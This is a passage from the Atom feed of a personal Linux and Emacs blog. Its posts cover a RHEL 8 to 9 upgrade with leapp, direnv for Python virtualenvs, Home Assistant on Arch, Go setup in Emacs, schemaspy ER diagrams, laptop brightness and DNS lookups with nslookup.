abandoned.&lt;/p&gt;</content><category term="various"/><category term="various"/><category term="emacs"/></entry><entry><title>Upgrading from RHEL8 to RHEL9</title><link href="https://skybert.net/linux/upgrading-from-rhel8-to-rhel9" rel="alternate"/><published>2024-02-01T00:00:00+01:00</published><updated>2024-02-01T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-02-01:/linux/upgrading-from-rhel8-to-rhel9</id><summary type="html">&lt;h2&gt;Install the leapp command&lt;/h2&gt;
&lt;p&gt;Note, &lt;code&gt;leapp&lt;/code&gt; in itself isn't enough, you also need
&lt;code&gt;leapp-command(upgrade)&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# dnf install leapp &amp;#39;leapp-command(upgrade)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Check if you can upgrade&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# leapp preupgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It'll output a summary of problems or things to look out for regarding
the upgrade. Be sure to read through it all. &lt;/p&gt;
&lt;p&gt;I …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Install the leapp command&lt;/h2&gt;
&lt;p&gt;Note, &lt;code&gt;leapp&lt;/code&gt; in itself isn't enough, you also need
&lt;code&gt;leapp-command(upgrade)&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# dnf install leapp &amp;#39;leapp-command(upgrade)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Check if you can upgrade&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# leapp preupgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It'll output a summary of problems or things to look out for regarding
the upgrade. Be sure to read through it all. &lt;/p&gt;
&lt;p&gt;I had to make the following fixes before performing the upgrade:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# sed -i s/^AllowZoneDrifting=.*/AllowZoneDrifting=no/ /etc/firewalld/firewalld.conf
# sed -i &amp;#39;s#PermitRootLogin yes#PermitRootLogin no#&amp;#39; /etc/ssh/sshd_config
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Perform the actual upgrade&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# leapp upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Reboot the system&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Select the new GRUB option to update the initramfs&lt;/h2&gt;
&lt;p&gt;RHEL has created an upgrade specific GRUB entry. It'll generate a new
&lt;code&gt;initramfs&lt;/code&gt;, as well as upgading &lt;em&gt;loads&lt;/em&gt; of RPM packages.&lt;/p&gt;
&lt;h2&gt;Verify that your update succeeded&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[torstein@rhel9 ~]$ grep PRETTY /etc/os-release 
PRETTY_NAME=&amp;quot;Red Hat Enterprise Linux 9.3 (Plow)&amp;quot;
[torstein@rhel9 ~]$ uname -r
5.14.0-362.18.1.el9_3.x86_64
[torstein@rhel9 ~]$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As everyone knows, though, the &lt;em&gt;real&lt;/em&gt; test of a successful upgrade is
if you get the new RHEL 9 wallpaper when logging into GNOME, so here
you go: 😉&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/2024/rhel9-gnome.png"
  style="width: 1024px"
  alt="GNOME on RHEL9"
/&gt;&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="redhat"/></entry><entry><title>Now</title><link href="https://skybert.net/now" rel="alternate"/><published>2024-01-26T00:00:00+01:00</published><updated>2024-01-26T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-01-26:/now</id><summary type="html">&lt;p&gt;This is my &lt;a href="https://nownownow.com/about"&gt;now page&lt;/a&gt;, updated
2024-01-26 from my home in Norway while the snow is falling down
outside my window.&lt;/p&gt;
&lt;h2&gt;Reading&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/25489204-the-cretan-runner"&gt;The Cretan
Runner&lt;/a&gt;
by the amazing runner and hero, George Psychoundakis.&lt;/p&gt;
&lt;h2&gt;Training&lt;/h2&gt;
&lt;p&gt;Since it's winter, I go skiing as often as I can, both here in the
nearby …&lt;/p&gt;</summary><content type="html">&lt;p&gt;This is my &lt;a href="https://nownownow.com/about"&gt;now page&lt;/a&gt;, updated
2024-01-26 from my home in Norway while the snow is falling down
outside my window.&lt;/p&gt;
&lt;h2&gt;Reading&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/25489204-the-cretan-runner"&gt;The Cretan
Runner&lt;/a&gt;
by the amazing runner and hero, George Psychoundakis.&lt;/p&gt;
&lt;h2&gt;Training&lt;/h2&gt;
&lt;p&gt;Since it's winter, I go skiing as often as I can, both here in the
nearby forest and in the mountains. Plan to take part in the
&lt;a href="https://birkebeiner.no/en/ski"&gt;Birkebeiner race in March&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Relaxing&lt;/h2&gt;
&lt;p&gt;In the evening, after the kid sleeps, I thoroughly enjoy playing point
and click adventures on my Steam Deck that I got last summer in
Taiwan.&lt;/p&gt;
&lt;h2&gt;Coding&lt;/h2&gt;
&lt;p&gt;Workwise, I still love working at &lt;a href="https://stibodx.com"&gt;Stibo DX&lt;/a&gt;,
coding lots of Python, Java, BASH, Linux, OIDC and deal a fair bit
with app security.&lt;/p&gt;
&lt;h2&gt;Hacking&lt;/h2&gt;
&lt;p&gt;Emacs 29.2 with native compilation. Still on Xorg/i3, although I've
started to try out Wayland/Hyprland on my private laptop.&lt;/p&gt;
&lt;hr&gt;</content><category term="various"/></entry><entry><title>Set project based Unix environment variables</title><link href="https://skybert.net/emacs/set-project-based-unix-environment-variables" rel="alternate"/><published>2024-01-24T00:00:00+01:00</published><updated>2024-01-24T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-01-24:/emacs/set-project-based-unix-environment-variables</id><summary type="html">&lt;h2&gt;Emacs side of things&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;package-install RET envrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;In your project&lt;/h2&gt;
&lt;p&gt;This is what I used for Python based projects. I use &lt;code&gt;pipenv&lt;/code&gt; and
&lt;code&gt;Pipfiles&lt;/code&gt;. Thus, I need to set &lt;code&gt;VIRTUAL_ENV&lt;/code&gt; to make everything work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cd ~/src/awesome-app
$ direnv allow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Find where the virtual environemnt &lt;em&gt;actualy&lt;/em&gt; resides:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ pipenv run which python3 …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h2&gt;Emacs side of things&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;package-install RET envrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;In your project&lt;/h2&gt;
&lt;p&gt;This is what I used for Python based projects. I use &lt;code&gt;pipenv&lt;/code&gt; and
&lt;code&gt;Pipfiles&lt;/code&gt;. Thus, I need to set &lt;code&gt;VIRTUAL_ENV&lt;/code&gt; to make everything work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cd ~/src/awesome-app
$ direnv allow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Find where the virtual environemnt &lt;em&gt;actualy&lt;/em&gt; resides:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ pipenv run which python3 | sed &amp;#39;s#/bin/python3$##&amp;#39;
/home/torstein/.local/share/virtualenvs/awesome-app-EpEGAS3U
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Add this to an &lt;code&gt;.envrc&lt;/code&gt; in your project root:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ vim .envrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VIRTUAL_ENV&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;torstein&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualenvs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;awesome&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;EpEGAS3U&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;VIRTUAL_ENV&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="emacs"/><category term="emacs"/></entry><entry><title>Home Assistant on Arch Linux</title><link href="https://skybert.net/linux/home-assistant-on-arch-linux" rel="alternate"/><published>2024-01-22T00:00:00+01:00</published><updated>2024-01-22T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-01-22:/linux/home-assistant-on-arch-linux</id><summary type="html">&lt;p&gt;If you're running Arhc Linux, it's &lt;em&gt;really&lt;/em&gt; easy to set up Home
Assistant. No need to bother with Docker containers, just install
&lt;em&gt;one&lt;/em&gt; package and you're all set.&lt;/p&gt;
&lt;h2&gt;Install&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S home-assistant
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Enable and start&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl enable home-assistant
# systemctl start home-assistant
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Enjoy!&lt;/h2&gt;
&lt;p&gt;Give Home Assistant a minute or two and …&lt;/p&gt;</summary><content type="html">&lt;p&gt;If you're running Arhc Linux, it's &lt;em&gt;really&lt;/em&gt; easy to set up Home
Assistant. No need to bother with Docker containers, just install
&lt;em&gt;one&lt;/em&gt; package and you're all set.&lt;/p&gt;
&lt;h2&gt;Install&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S home-assistant
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Enable and start&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl enable home-assistant
# systemctl start home-assistant
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Enjoy!&lt;/h2&gt;
&lt;p&gt;Give Home Assistant a minute or two and head over to
http://localhost:8123/ and start configuring your smart home.&lt;/p&gt;</content><category term="linux"/><category term="linux"/></entry><entry><title>OpenTelemetry in Python</title><link href="https://skybert.net/python/opentelemetry-in-python" rel="alternate"/><published>2024-01-22T00:00:00+01:00</published><updated>2024-01-22T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-01-22:/python/opentelemetry-in-python</id><content type="html">&lt;h2&gt;Install Jaeger GUI&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ paru -S aur/jaeger-all-in-one-bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Run it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ /usr/bin/jaeger-all-in-one
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, you can go to http://localhost:16686/search to view your local
app telemetry.&lt;/p&gt;</content><category term="python"/><category term="python"/></entry><entry><title>My Programming Language Journey</title><link href="https://skybert.net/various/my-programming-language-journey" rel="alternate"/><published>2024-01-11T00:00:00+01:00</published><updated>2024-01-11T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-01-11:/various/my-programming-language-journey</id><content type="html">&lt;h2&gt;BASIC&lt;/h2&gt;
&lt;h2&gt;Turbo Pascal 4&lt;/h2&gt;
&lt;h2&gt;Visual Basic 6&lt;/h2&gt;
&lt;h2&gt;Java 1.2&lt;/h2&gt;
&lt;h2&gt;Python 1.5&lt;/h2&gt;
&lt;h2&gt;JavaScript &amp;amp; ECMAScript&lt;/h2&gt;
&lt;h2&gt;BASH&lt;/h2&gt;
&lt;h2&gt;Emacs Lisp&lt;/h2&gt;
&lt;h2&gt;C&lt;/h2&gt;
&lt;h2&gt;C++&lt;/h2&gt;
&lt;h2&gt;PHP&lt;/h2&gt;
&lt;h2&gt;ActionScript&lt;/h2&gt;
&lt;h2&gt;Go&lt;/h2&gt;</content><category term="various"/><category term="various"/></entry><entry><title>Go programming in Emacs</title><link href="https://skybert.net/emacs/go-programming-in-emacs" rel="alternate"/><published>2023-12-09T00:00:00+01:00</published><updated>2023-12-09T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-12-09:/emacs/go-programming-in-emacs</id><content type="html">&lt;h2&gt;Go tool chain&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S go
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Go LSP server&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S gopls
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Go debugger&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S delve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Emacs&lt;/h2&gt;
&lt;p&gt;Set up &lt;code&gt;go-mode&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;use-package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;go-mode&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;:ensure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;:hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;go-mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;subword-mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;:hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;go-mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;eglot-ensure&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Set up &lt;code&gt;dape&lt;/code&gt; for debugging:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;use-package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dape&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;:ensure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;:init&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dape-buffer-window-arrangement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;right&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="emacs"/><category term="emacs"/><category term="go"/></entry><entry><title>Install all the icons you need for Emacs</title><link href="https://skybert.net/emacs/install-all-the-icons-you-need-for-emacs" rel="alternate"/><published>2023-12-09T00:00:00+01:00</published><updated>2023-12-09T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-12-09:/emacs/install-all-the-icons-you-need-for-emacs</id><content type="html">&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;M-x package-install RET all-the-icons
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;M-x all-the-icons-install-fonts RET
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S extra/ttf-nerd-fonts-symbols extra/ttf-nerd-fonts-symbols-mono
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="emacs"/><category term="emacs"/></entry><entry><title>How to prepare for a live coding presentation</title><link href="https://skybert.net/dongxi/how-to-prepare-for-a-live-coding-presentation" rel="alternate"/><published>2023-11-09T00:00:00+01:00</published><updated>2023-11-09T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-11-09:/dongxi/how-to-prepare-for-a-live-coding-presentation</id><summary type="html">&lt;p&gt;This is a tale of how I prepared for a 15 minute live coding session
for the &lt;a href="https://www.cuedays.com/"&gt;CUE Days 2023 conference&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I wanted to live code a complete CUE CMS system, starting off from a
clean server, installing the MariaDB database, the Solr indexer, the
nginx webserver with CORS configuation …&lt;/p&gt;</summary><content type="html">&lt;p&gt;This is a tale of how I prepared for a 15 minute live coding session
for the &lt;a href="https://www.cuedays.com/"&gt;CUE Days 2023 conference&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I wanted to live code a complete CUE CMS system, starting off from a
clean server, installing the MariaDB database, the Solr indexer, the
nginx webserver with CORS configuation, the Javascript application CUE
editor, the CMS itself, Content Store, as well as an SSEP proxy.&lt;/p&gt;
&lt;p&gt;I didn't want to cheat like having the database created in advance, or
having the web server configured with CORS. I wanted it to real. And
live. Added to that, I wanted to give a brief introduction as well as
a summary at the end of the installation. That left me with about 12
minutes to do the actual live coding. That was an extremely tight time
frame.&lt;/p&gt;</content><category term="dongxi"/><category term="dongxi"/><category term="talks"/><category term="coding"/></entry><entry><title>Create graphical er diagram from the command line</title><link href="https://skybert.net/db/create-graphical-er-diagram-from-the-command-line" rel="alternate"/><published>2023-10-20T00:00:00+02:00</published><updated>2023-10-20T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-10-20:/db/create-graphical-er-diagram-from-the-command-line</id><summary type="html">&lt;p&gt;To create a graphical er diagram of your database from the command
line, you can use
&lt;a href="https://schemaspy.readthedocs.io/en/v6.0.0/home.html"&gt;schemaspy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;On Arch Linux, you can install it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ paru -S schemaspy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For other distros, Windows and Mac: If you don't find it in your
package manager for your system, you can download the …&lt;/p&gt;</summary><content type="html">&lt;p&gt;To create a graphical er diagram of your database from the command
line, you can use
&lt;a href="https://schemaspy.readthedocs.io/en/v6.0.0/home.html"&gt;schemaspy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;On Arch Linux, you can install it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ paru -S schemaspy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For other distros, Windows and Mac: If you don't find it in your
package manager for your system, you can download the JAR file from
their website, it's a one-JAR-file program.&lt;/p&gt;
&lt;p&gt;You're now set to use it. You pass it the database type, connection
details and so on. It's worth noting that for MySQL and MariaDB, the
datbase namae passed in &lt;code&gt;-db &amp;lt;db&amp;gt;&lt;/code&gt; and schema given in &lt;code&gt;-s &amp;lt;schema&amp;gt;&lt;/code&gt;
is the same.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ schemaspy -o ~/mydb-er-website \
    -t mariadb \
    -host localhost \
    -db mydb \
    -s mydb \
    -u myuser \
    -p hunter2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Point your browser at &lt;code&gt;~/mydb-er-website/index.html&lt;/code&gt; and you'll find a
website dedicated to your database, including nice PNGs of each table
and its immediate relationsships, as well as diagrams of the complete
database.&lt;/p&gt;</content><category term="db"/><category term="db"/><category term="mariadb"/><category term="mysql"/></entry><entry><title>Full Screen Brightness on Linux</title><link href="https://skybert.net/linux/full-screen-brightness-on-linux" rel="alternate"/><published>2023-09-22T00:00:00+02:00</published><updated>2023-09-22T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-09-22:/linux/full-screen-brightness-on-linux</id><summary type="html">&lt;p&gt;On my laptop, a Thinkpad X1 Carbon with Intel chipset, I can set the
screen brightness to max with this simple command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cat /sys/class/backlight/intel_backlight/max_brightness | 
  sudo tee /sys/class/backlight/intel_backlight/brightness
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Of course, you can set it to any value, as long as it doesn't exceed …&lt;/p&gt;</summary><content type="html">&lt;p&gt;On my laptop, a Thinkpad X1 Carbon with Intel chipset, I can set the
screen brightness to max with this simple command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cat /sys/class/backlight/intel_backlight/max_brightness | 
  sudo tee /sys/class/backlight/intel_backlight/brightness
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Of course, you can set it to any value, as long as it doesn't exceed
the value in &lt;code&gt;max_brightness&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cat /sys/class/backlight/intel_backlight/max_brightness 
19393
$ echo 1800 | sudo tee /sys/class/backlight/intel_backlight/brightness
$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/></entry><entry><title>DNS &amp; server exploration from the command line</title><link href="https://skybert.net/linux/dns-server-exploration-from-the-command-line" rel="alternate"/><published>2023-08-18T00:00:00+02:00</published><updated>2023-08-18T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-08-18:/linux/dns-server-exploration-from-the-command-line</id><summary type="html">&lt;h2&gt;Most common use case&lt;/h2&gt;
&lt;p&gt;Which IPv4 addresses does this domain answer to?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ nslookup -type=A vg.no
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
Name:   vg.no
Address: 195.88.55.16
Name:   vg.no
Address: 195.88.54.16
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you want to …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Most common use case&lt;/h2&gt;
&lt;p&gt;Which IPv4 addresses does this domain answer to?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ nslookup -type=A vg.no
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
Name:   vg.no
Address: 195.88.55.16
Name:   vg.no
Address: 195.88.54.16
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you want to see the IPv6 addresses, specify &lt;code&gt;AAAA&lt;/code&gt; instead:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ nslookup -type=AAAA vg.no
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
Name:   vg.no
Address: 2001:67c:21e0::16
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;See what mail provider the company is using&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ nslookup -type=MX vg.no
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
vg.no   mail exchanger = 5 alt2.aspmx.l.google.com.
vg.no   mail exchanger = 10 alt3.aspmx.l.google.com.
vg.no   mail exchanger = 10 alt4.aspmx.l.google.com.
vg.no   mail exchanger = 1 aspmx.l.google.com.
vg.no   mail exchanger = 5 alt1.aspmx.l.google.com.

Authoritative answers can be found from:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;The TXT records may hold interesting info&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ nslookup -type=TXT vg.no
;; Truncated, retrying in TCP mode.
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
vg.no   text = &amp;quot;fastly-domain-delegation-29tfXEmvnByNT8JY-442665-2021-10-26&amp;quot;
vg.no   text = &amp;quot;google-site-verification=1pgyIHHF6q_XtdnSiBJFZiJrXtcg-vpNdfWzhJtb8pM&amp;quot;
vg.no   text = &amp;quot;google-site-verification=CvJrFeKFUvWtMd11AkMfLIwBCKnMr2e4f6dzowPw32A&amp;quot;
